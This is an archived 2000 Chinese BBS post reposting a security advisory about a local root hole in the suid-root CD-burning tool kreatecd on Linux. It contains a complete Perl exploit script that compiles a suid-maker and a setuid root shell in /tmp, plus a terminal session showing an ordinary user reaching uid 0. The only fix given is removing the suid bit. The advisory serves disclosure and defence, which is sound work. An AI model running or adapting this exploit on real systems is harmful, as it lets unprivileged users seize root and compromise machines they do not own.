荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: bstone (无心伤害), 信区: Hacker
标  题: Linux kreatecd 漏洞导致本地用户获得root权限
发信站: BBS 荔园晨风站 (Sat Mar 18 07:59:52 2000), 站内信件



  所有系统 AIX BSD(eg,OpenBSD) Digital Unix HP-UX IRIX Linux FreeBSD SCO UNIX
SunOS Solaris Windows Other 漏洞类型 远程进入系统 本地越权访问 拒绝服务攻击 嵌入
恶意代码 Web数据接口 其他类型 发布日期 一周内 一个月内 所有



  首页 >> 安全漏洞 >>

  Linux kreatecd 漏洞导致本地用户获得root权限

发布日期: 2000-3-18

更新日期: 2000-3-18
受影响的系统:  kreatecd
- Halloween Linux Version 4
  SuSE 6.x
描述:
--------------------------------------------------------------------------------


    被设置了suid root位的Kreatecd程序盲目相信普通用户提供的录制CD软件的路径。并

    会以EUID=0的身份执行相应的程序。导致本地用户可能获得root权限。
    由于指定路径要通过点击kcreatecd菜单来完成,远程攻击者可以通过将远程主机的
    Kcreatecd 显示到本地X server上来完成攻击。


<* 来源: [1] S. Krahmer, C-Skills
              http://www.cs.uni-potsdam.de/homepages/students/linuxer/
          [2] TESO
          http://teso.scene.at or https://teso.scene.at/
*>


测试程序:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



    [stealth@liane stealth]$ stat `which kreatecd`
      File: "/usr/bin/kreatecd"
      Size: 229068       Filetype: Regular File
      Mode: (4755/-rwsr-xr-x)         Uid: (    0/    root)  Gid: (    0/
root)
    Device:  3,1   Inode: 360053    Links: 1
    Access: Tue Mar 14 14:48:21 2000(00000.00:00:45)
    Modify: Tue Mar 14 14:48:21 2000(00000.00:00:45)
    Change: Tue Mar 14 14:48:21 2000(00000.00:00:45)
    [stealth@liane stealth]$ id
    uid=500(stealth) gid=500(stealth) groups=500(stealth)
    [stealth@liane stealth]$ /tmp/kreatur
    (... some diagnostic messages ...)
    Creating suid-maker...
    Creating boom-shell...

    Execute kreatecd and follow the menus:
    Configure -> Paths  -- change the path for cdrecord to /tmp/xxx
    Apply -> OK
    Configure -> SCSI -> OK

    Execute /tmp/boomsh


    BEHAVE!

    (poking around with GUI...)
    [stealth@liane stealth]$ /tmp/boomsh
    [root@liane stealth]# id
    uid=0(root) gid=500(stealth) groups=500(stealth)
    [root@liane stealth]#

测试程序:kreatur

#!/usr/bin/perl

# kreatecd local root-exploit helper script.
# Tested on Halloween 4 distro. Will also work on SuSE 6.x
# (C) 2000 C-skills development, S. Krahmer under the GPL
# http://www.cs.uni-potsdam.de/homepages/students/linuxer

#
# visit TESO at http://teso.scene.at/ or https://teso.scene.at/
#

# ! USE IT AT YOUR OWN RISK !
# For educational purposes only.

if (((stat "/opt/kde/bin/kreatecd")[2] & 04000) != 04000 &&
    ((stat "/usr/bin/kreatecd")[2] & 04000) != 04000)  {
    print "kreatecd not installed suid! handshake with root!\n";
    exit 1;
}

print "kreatecd installed suid!\n";
print "Contact your local script-kiddie.\n";
print "Nobody ever got fired for NOT using GUI-suid-rootprograms! remove it!\n";
print "Creating suid-maker...\n";
open O, ">/tmp/boom.c" or die "open(boom.c..)";
print O<<_EOF_;
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
    setreuid(0,0);
    chown("/tmp/boomsh", 0, 0);
    chmod("/tmp/boomsh", 04755);
    exit(1);
}
_EOF_
close O;
system("cc /tmp/boom.c -o /tmp/xxx");

print "Creating boom-shell...\n";
open O, ">/tmp/boomsh.c" or die "open(boomsh.c..)";
print O<<_EOF2_;

int main()
{
    char *a[] = {
        "/bin/bash",
        0
    };
    setuid(0);
    execve(*a, a, 0);
    return 0;
}
_EOF2_
close O;
system("cc /tmp/boomsh.c -o /tmp/boomsh");
print <<_EOF3_;
\nExecute kreatecd and follow the menus:
Configure -> Paths  -- change the path for cdrecord to /tmp/xxx
Apply -> OK
Configure -> SCSI -> OK
\nExecute /tmp/boomsh\n
\nBEHAVE!\n
_EOF3_



--------------------------------------------------------------------------------
建议:

chmod a-s `which kreatecd.`



绿色兵团翻译整理,未经许可,不得转载
欢迎访问我们的站点http://www.isbase.com/
绿色兵团给您安全的保障





 关于我们   合作伙伴   绿盟月刊   安全论坛   系统漏洞   安全文献   工具介绍   服
务项目   客户专区

--------------------------------------------------------------------------------

绿盟计算机网络安全技术有限公司版权所有   联系:isbase@isbase.net
&copy; 1999,2000 isbase Corporation. All rights Reserved.

--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.23]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店